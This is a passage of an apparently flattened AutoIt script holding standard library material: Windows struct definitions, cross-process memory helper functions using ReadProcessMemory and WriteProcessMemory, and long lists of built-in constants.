  516. Global Const $taggdip_effectparams_huesaturationlightness = "int HueLevel; int SaturationLevel; int LightnessLevel"
  517. Global Const $taggdip_effectparams_levels = "int Highlight; int Midtone; int Shadow"
  518. Global Const $taggdip_effectparams_redeyecorrection = "uint NumberOfAreas; ptr Areas"
  519. Global Const $taggdip_effectparams_sharpen = "float Radius; float Amount"
  520. Global Const $taggdip_effectparams_tint = "int Hue; int Amount"
  521. Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
  522. Global Const $taggdipcolormatrix = "float m[25]"
  523. Global Const $taggdipencoderparam = "struct;byte GUID[16];ulong NumberOfValues;ulong Type;ptr Values;endstruct"
  524. Global Const $taggdipencoderparams = "uint Count;" & $taggdipencoderparam
  525. Global Const $taggdiprectf = "struct;float X;float Y;float Width;float Height;endstruct"
  526. Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
  527. Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
  528. Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
  529. Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
  530. Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
  531. Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
  532. Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
  533. Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
  534. Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
  535. Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
  536. Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
  537. Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
  538. Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
  539. Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
  540. Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartID;int iStateID;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
  541. Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
  542. Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
  543. Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
  544. Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
  545. Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  546. Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
  547. Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
  548. Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
  549. Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
  550. Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
  551. Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
  552. Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
  553. Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
  554. Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  555. Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
  556. Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
  557. Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
  558. Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
  559. Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
  560. Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
  561. Global Const $tagnmtvitemchange = $tagnmhdr & ";uint Changed;handle hItem;uint StateNew;uint StateOld;lparam lParam;"
  562. Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
  563. Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  564. Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
  565. Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
  566. Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
  567. Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
  568. Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
  569. Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" & ((@OSVersion = "WIN_XP") ? "" : ";" & $tagrect & ";uint uChevronState")
  570. Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
  571. Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
  572. Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
  573. Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
  574. Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
  575. Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
  576. Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
  577. Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
  578. Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;dword_ptr Param;int_ptr String"
  579. Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
  580. Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
  581. Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
  582. Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
  583. Global Const $tagbitmapinfoheader = "struct;dword biSize;long biWidth;long biHeight;word biPlanes;word biBitCount;" & "dword biCompression;dword biSizeImage;long biXPelsPerMeter;long biYPelsPerMeter;dword biClrUsed;dword biClrImportant;endstruct"
  584. Global Const $tagbitmapinfo = $tagbitmapinfoheader & ";dword biRGBQuad[1]"
  585. Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
  586. Global Const $tagguid = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct"
  587. Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
  588. Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
  589. Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
  590. Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
  591. Global Const $taglogfont = "struct;long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32];endstruct"
  592. Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
  593. Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
  594. Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
  595. Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
  596. Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
  597. Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
  598. Global Const $tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem"
  599.  
  600. Func _memfree(ByRef $tmemmap)
  601.     Local $pmemory = DllStructGetData($tmemmap, "Mem")
  602.     Local $hprocess = DllStructGetData($tmemmap, "hProc")
  603.     Local $bresult = _memvirtualfreeex($hprocess, $pmemory, 0, $mem_release)
  604.     DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess)
  605.     If @error Then Return SetError(@error, @extended, False)
  606.     Return $bresult
  607. EndFunc
  608.  
  609. Func _memglobalalloc($ibytes, $iflags = 0)
  610.     Local $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $iflags, "ulong_ptr", $ibytes)
  611.     If @error Then Return SetError(@error, @extended, 0)
  612.     Return $aresult[0]
  613. EndFunc
  614.  
  615. Func _memglobalfree($hmemory)
  616.     Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmemory)
  617.     If @error Then Return SetError(@error, @extended, False)
  618.     Return $aresult[0]
  619. EndFunc
  620.  
  621. Func _memgloballock($hmemory)
  622.     Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmemory)
  623.     If @error Then Return SetError(@error, @extended, 0)
  624.     Return $aresult[0]
  625. EndFunc
  626.  
  627. Func _memglobalsize($hmemory)
  628.     Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmemory)
  629.     If @error Then Return SetError(@error, @extended, 0)
  630.     Return $aresult[0]
  631. EndFunc
  632.  
  633. Func _memglobalunlock($hmemory)
  634.     Local $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hmemory)
  635.     If @error Then Return SetError(@error, @extended, 0)
  636.     Return $aresult[0]
  637. EndFunc
  638.  
  639. Func _meminit($hwnd, $isize, ByRef $tmemmap)
  640.     Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  641.     If @error Then Return SetError(@error + 10, @extended, 0)
  642.     Local $iprocessid = $aresult[2]
  643.     If $iprocessid = 0 Then Return SetError(1, 0, 0)
  644.     Local $iaccess = BitOR($process_vm_operation, $process_vm_read, $process_vm_write)
  645.     Local $hprocess = __mem_openprocess($iaccess, False, $iprocessid, True)
  646.     Local $ialloc = BitOR($mem_reserve, $mem_commit)
  647.     Local $pmemory = _memvirtualallocex($hprocess, 0, $isize, $ialloc, $page_readwrite)
  648.     If $pmemory = 0 Then Return SetError(2, 0, 0)
  649.     $tmemmap = DllStructCreate($tagmemmap)
  650.     DllStructSetData($tmemmap, "hProc", $hprocess)
  651.     DllStructSetData($tmemmap, "Size", $isize)
  652.     DllStructSetData($tmemmap, "Mem", $pmemory)
  653.     Return $pmemory
  654. EndFunc
  655.  
  656. Func _memmovememory($psource, $pdest, $ilength)
  657.     DllCall("kernel32.dll", "none", "RtlMoveMemory", "struct*", $pdest, "struct*", $psource, "ulong_ptr", $ilength)
  658.     If @error Then Return SetError(@error, @extended)
  659. EndFunc
  660.  
  661. Func _memread(ByRef $tmemmap, $psrce, $pdest, $isize)
  662.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $psrce, "struct*", $pdest, "ulong_ptr", $isize, "ulong_ptr*", 0)
  663.     If @error Then Return SetError(@error, @extended, False)
  664.     Return $aresult[0]
  665. EndFunc
  666.  
  667. Func _memwrite(ByRef $tmemmap, $psrce, $pdest = 0, $isize = 0, $ssrce = "struct*")
  668.     If $pdest = 0 Then $pdest = DllStructGetData($tmemmap, "Mem")
  669.     If $isize = 0 Then $isize = DllStructGetData($tmemmap, "Size")
  670.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $pdest, $ssrce, $psrce, "ulong_ptr", $isize, "ulong_ptr*", 0)
  671.     If @error Then Return SetError(@error, @extended, False)
  672.     Return $aresult[0]
  673. EndFunc
  674.  
  675. Func _memvirtualalloc($paddress, $isize, $iallocation, $iprotect)
  676.     Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
  677.     If @error Then Return SetError(@error, @extended, 0)
  678.     Return $aresult[0]
  679. EndFunc
  680.  
  681. Func _memvirtualallocex($hprocess, $paddress, $isize, $iallocation, $iprotect)
  682.     Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
  683.     If @error Then Return SetError(@error, @extended, 0)
  684.     Return $aresult[0]
  685. EndFunc
  686.  
  687. Func _memvirtualfree($paddress, $isize, $ifreetype)
  688.     Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFree", "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
  689.     If @error Then Return SetError(@error, @extended, False)
  690.     Return $aresult[0]
  691. EndFunc
  692.  
  693. Func _memvirtualfreeex($hprocess, $paddress, $isize, $ifreetype)
  694.     Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFreeEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
  695.     If @error Then Return SetError(@error, @extended, False)
  696.     Return $aresult[0]
  697. EndFunc
  698.  
  699. Func __mem_openprocess($iaccess, $binherit, $iprocessid, $bdebugpriv = False)
  700.     Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $iprocessid)
  701.     If @error Then Return SetError(@error + 10, @extended, 0)
  702.     If $aresult[0] Then Return $aresult[0]
  703.     If NOT $bdebugpriv Then Return 0
  704.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  705.     If @error Then Return SetError(@error + 20, @extended, 0)
  706.     _security__setprivilege($htoken, "SeDebugPrivilege", True)
  707.     Local $ierror = @error
  708.     Local $ilasterror = @extended
  709.     Local $iret = 0
  710.     If NOT @error Then
  711.         $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $iprocessid)
  712.         $ierror = @error
  713.         $ilasterror = @extended
  714.         If $aresult[0] Then $iret = $aresult[0]
  715.         _security__setprivilege($htoken, "SeDebugPrivilege", False)
  716.         If @error Then
  717.             $ierror = @error + 30
  718.             $ilasterror = @extended
  719.         EndIf
  720.     Else
  721.         $ierror = @error + 40
  722.     EndIf
  723.     DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $htoken)
  724.     Return SetError($ierror, $ilasterror, $iret)
  725. EndFunc
  726.  
  727. Global Const $opt_coordsrelative = 0
  728. Global Const $opt_coordsabsolute = 1
  729. Global Const $opt_coordsclient = 2
  730. Global Const $opt_errorsilent = 0
  731. Global Const $opt_errorfatal = 1
  732. Global Const $opt_capsnostore = 0
  733. Global Const $opt_capsstore = 1
  734. Global Const $opt_matchstart = 1
  735. Global Const $opt_matchany = 2
  736. Global Const $opt_matchexact = 3
  737. Global Const $opt_matchadvanced = 4
  738. Global Const $ccs_top = 1
  739. Global Const $ccs_nomovey = 2
  740. Global Const $ccs_bottom = 3
  741. Global Const $ccs_noresize = 4
  742. Global Const $ccs_noparentalign = 8
  743. Global Const $ccs_nohilite = 16
  744. Global Const $ccs_adjustable = 32
  745. Global Const $ccs_nodivider = 64
  746. Global Const $ccs_vert = 128
  747. Global Const $ccs_left = 129
  748. Global Const $ccs_nomovex = 130
  749. Global Const $ccs_right = 131
  750. Global Const $dt_drivetype = 1
  751. Global Const $dt_ssdstatus = 2
  752. Global Const $dt_bustype = 3
  753. Global Const $proxy_ie = 0
  754. Global Const $proxy_none = 1
  755. Global Const $proxy_specified = 2
  756. Global Const $objid_window = 0
  757. Global Const $objid_titlebar = -2
  758. Global Const $objid_sizegrip = -7
  759. Global Const $objid_caret = -8
  760. Global Const $objid_cursor = -9
  761. Global Const $objid_alert = -10
  762. Global Const $objid_sound = -11
  763. Global Const $dlg_centerontop = 0
  764. Global Const $dlg_notitle = 1
  765. Global Const $dlg_notontop = 2
  766. Global Const $dlg_textleft = 4
  767. Global Const $dlg_textright = 8
  768. Global Const $dlg_moveable = 16
  769. Global Const $dlg_textvcenter = 32
  770. Global Const $idc_unknown = 0
  771. Global Const $idc_appstarting = 1
  772. Global Const $idc_arrow = 2
  773. Global Const $idc_cross = 3
  774. Global Const $idc_hand = 32649
  775. Global Const $idc_help = 4
  776. Global Const $idc_ibeam = 5
  777. Global Const $idc_icon = 6
  778. Global Const $idc_no = 7
  779. Global Const $idc_size = 8
  780. Global Const $idc_sizeall = 9
  781. Global Const $idc_sizenesw = 10
  782. Global Const $idc_sizens = 11
  783. Global Const $idc_sizenwse = 12
  784. Global Const $idc_sizewe = 13
  785. Global Const $idc_uparrow = 14
  786. Global Const $idc_wait = 15
  787. Global Const $idi_application = 32512
  788. Global Const $idi_asterisk = 32516
  789. Global Const $idi_exclamation = 32515
  790. Global Const $idi_hand = 32513
  791. Global Const $idi_question = 32514
  792. Global Const $idi_winlogo = 32517
  793. Global Const $idi_shield = 32518
  794. Global Const $idi_error = $idi_hand
  795. Global Const $idi_information = $idi_asterisk
  796. Global Const $idi_warning = $idi_exclamation
  797. Global Const $sd_logoff = 0
  798. Global Const $sd_shutdown = 1
  799. Global Const $sd_reboot = 2
  800. Global Const $sd_force = 4
  801. Global Const $sd_powerdown = 8
  802. Global Const $sd_forcehung = 16
  803. Global Const $sd_standby = 32
  804. Global Const $sd_hibernate = 64
  805. Global Const $stdin_child = 1
  806. Global Const $stdout_child = 2
  807. Global Const $stderr_child = 4
  808. Global Const $stderr_merged = 8
  809. Global Const $stdio_inherit_parent = 16
  810. Global Const $run_create_new_console = 65536
  811. Global Const $ubound_dimensions = 0
  812. Global Const $ubound_rows = 1
  813. Global Const $ubound_columns = 2
  814. Global Const $mouseeventf_absolute = 32768
  815. Global Const $mouseeventf_move = 1
  816. Global Const $mouseeventf_leftdown = 2
  817. Global Const $mouseeventf_leftup = 4
  818. Global Const $mouseeventf_rightdown = 8
  819. Global Const $mouseeventf_rightup = 16
  820. Global Const $mouseeventf_middledown = 32
  821. Global Const $mouseeventf_middleup = 64
  822. Global Const $mouseeventf_wheel = 2048
  823. Global Const $mouseeventf_xdown = 128
  824. Global Const $mouseeventf_xup = 256
  825. Global Const $reg_none = 0
  826. Global Const $reg_sz = 1
  827. Global Const $reg_expand_sz = 2
  828. Global Const $reg_binary = 3
  829. Global Const $reg_dword = 4
  830. Global Const $reg_dword_little_endian = 4
  831. Global Const $reg_dword_big_endian = 5
  832. Global Const $reg_link = 6
  833. Global Const $reg_multi_sz = 7
  834. Global Const $reg_resource_list = 8
  835. Global Const $reg_full_resource_descriptor = 9
  836. Global Const $reg_resource_requirements_list = 10
  837. Global Const $reg_qword = 11
  838. Global Const $reg_qword_little_endian = 11
  839. Global Const $hwnd_bottom = 1
  840. Global Const $hwnd_notopmost = -2
  841. Global Const $hwnd_top = 0
  842. Global Const $hwnd_topmost = -1
  843. Global Const $swp_nosize = 1
  844. Global Const $swp_nomove = 2
  845. Global Const $swp_nozorder = 4
  846. Global Const $swp_noredraw = 8
  847. Global Const $swp_noactivate = 16
  848. Global Const $swp_framechanged = 32
  849. Global Const $swp_drawframe = 32
  850. Global Const $swp_showwindow = 64
  851. Global Const $swp_hidewindow = 128
  852. Global Const $swp_nocopybits = 256
  853. Global Const $swp_noownerzorder = 512
  854. Global Const $swp_noreposition = 512
  855. Global Const $swp_nosendchanging = 1024
  856. Global Const $swp_defererase = 8192
  857. Global Const $swp_asyncwindowpos = 16384
  858. Global Const $keyword_default = 1
  859. Global Const $keyword_null = 2
  860. Global Const $declared_local = -1
  861. Global Const $declared_unknown = 0
  862. Global Const $declared_global = 1
  863. Global Const $assign_create = 0
  864. Global Const $assign_forcelocal = 1
  865. Global Const $assign_forceglobal = 2
  866. Global Const $assign_existfail = 4
  867. Global Const $bi_enable = 0
  868. Global Const $bi_disable = 1
  869. Global Const $break_enable = 1
  870. Global Const $break_disable = 0
  871. Global Const $cdtray_open = "open"
  872. Global Const $cdtray_closed = "closed"
  873. Global Const $send_default = 0
  874. Global Const $send_raw = 1
  875. Global Const $dir_default = 0
  876. Global Const $dir_extended = 1
  877. Global Const $dir_norecurse = 2
  878. Global Const $dir_remove = 1
  879. Global Const $dt_all = "ALL"
  880. Global Const $dt_cdrom = "CDROM"
  881. Global Const $dt_removable = "REMOVABLE"
  882. Global Const $dt_fixed = "FIXED"
  883. Global Const $dt_network = "NETWORK"
  884. Global Const $dt_ramdisk = "RAMDISK"
  885. Global Const $dt_unknown = "UNKNOWN"
  886. Global Const $dt_undefined = 1
  887. Global Const $dt_fat = "FAT"
  888. Global Const $dt_fat32 = "FAT32"
  889. Global Const $dt_exfat = "exFAT"
  890. Global Const $dt_ntfs = "NTFS"
  891. Global Const $dt_nwfs = "NWFS"
  892. Global Const $dt_cdfs = "CDFS"
  893. Global Const $dt_udf = "UDF"
  894. Global Const $dma_default = 0
  895. Global Const $dma_persistent = 1
  896. Global Const $dma_authentication = 8
  897. Global Const $ds_unknown = "UNKNOWN"
  898. Global Const $ds_ready = "READY"
  899. Global Const $ds_notready = "NOTREADY"
  900. Global Const $ds_invalid = "INVALID"
  901. Global Const $mouse_click_left = "left"
  902. Global Const $mouse_click_right = "right"
  903. Global Const $mouse_click_middle = "middle"
  904. Global Const $mouse_click_main = "main"
  905. Global Const $mouse_click_menu = "menu"
  906. Global Const $mouse_click_primary = "primary"
  907. Global Const $mouse_click_secondary = "secondary"
  908. Global Const $mouse_wheel_up = "up"
  909. Global Const $mouse_wheel_down = "down"
  910. Global Const $number_auto = 0
  911. Global Const $number_32bit = 1
  912. Global Const $number_64bit = 2
  913. Global Const $number_double = 3
  914. Global Const $obj_name = 1
  915. Global Const $obj_string = 2
  916. Global Const $obj_progid = 3
  917. Global Const $obj_file = 4
  918. Global Const $obj_module = 5
  919. Global Const $obj_clsid = 6
  920. Global Const $obj_iid = 7
  921. Global Const $exitclose_normal = 0
  922. Global Const $exitclose_byexit = 1
  923. Global Const $exitclose_byclick = 2
  924. Global Const $exitclose_bylogoff = 3
  925. Global Const $exitclose_bysutdown = 4
  926. Global Const $process_stats_memory = 0
  927. Global Const $process_stats_io = 1
  928. Global Const $process_low = 0
  929. Global Const $process_belownormal = 1
  930. Global Const $process_normal = 2
  931. Global Const $process_abovenormal = 3
  932. Global Const $process_high = 4
  933. Global Const $process_realtime = 5
  934. Global Const $run_logon_noprofile = 0
  935. Global Const $run_logon_profile = 1
  936. Global Const $run_logon_network = 2
  937. Global Const $run_logon_inherit = 4
  938. Global Const $sound_nowait = 0
  939. Global Const $sound_wait = 1
  940. Global Const $shex_open = "open"
  941. Global Const $shex_edit = "edit"
  942. Global Const $shex_print = "print"
  943. Global Const $shex_properties = "properties"
  944. Global Const $tcp_data_default = 0
  945. Global Const $tcp_data_binary = 1
  946. Global Const $udp_open_default = 0
  947. Global Const $udp_open_broadcast = 1
  948. Global Const $udp_data_default = 0
  949. Global Const $udp_data_binary = 1
  950. Global Const $udp_data_array = 2
  951. Global Const $tip_noicon = 0
  952. Global Const $tip_infoicon = 1
  953. Global Const $tip_warningicon = 2
  954. Global Const $tip_erroricon = 3
  955. Global Const $tip_balloon = 1
  956. Global Const $tip_center = 2
  957. Global Const $tip_forcevisible = 4
  958. Global Const $windows_noontop = 0
  959. Global Const $windows_ontop = 1
  960. Global Const $fc_nooverwrite = 0
  961. Global Const $fc_overwrite = 1
  962. Global Const $fc_createpath = 8
  963. Global Const $ft_modified = 0
  964. Global Const $ft_created = 1
  965. Global Const $ft_accessed = 2
  966. Global Const $ft_array = 0
  967. Global Const $ft_string = 1
  968. Global Const $fsf_createbutton = 1
  969. Global Const $fsf_newdialog = 2
  970. Global Const $fsf_editcontrol = 4
  971. Global Const $ft_nonrecursive = 0
  972. Global Const $ft_recursive = 1
  973. Global Const $fo_read = 0
  974. Global Const $fo_append = 1
  975. Global Const $fo_overwrite = 2
  976. Global Const $fo_createpath = 8
  977. Global Const $fo_binary = 16
  978. Global Const $fo_unicode = 32
  979. Global Const $fo_utf16_le = 32
  980. Global Const $fo_utf16_be = 64
  981. Global Const $fo_utf8 = 128
  982. Global Const $fo_utf8_nobom = 256
  983. Global Const $fo_ansi = 512
  984. Global Const $fo_utf16_le_nobom = 1024
  985. Global Const $fo_utf16_be_nobom = 2048
  986. Global Const $fo_utf8_full = 16384
  987. Global Const $fo_fullfile_detect = 16384
  988. Global Const $eof = -1
  989. Global Const $fd_filemustexist = 1
  990. Global Const $fd_pathmustexist = 2
  991. Global Const $fd_multiselect = 4
  992. Global Const $fd_promptcreatenew = 8
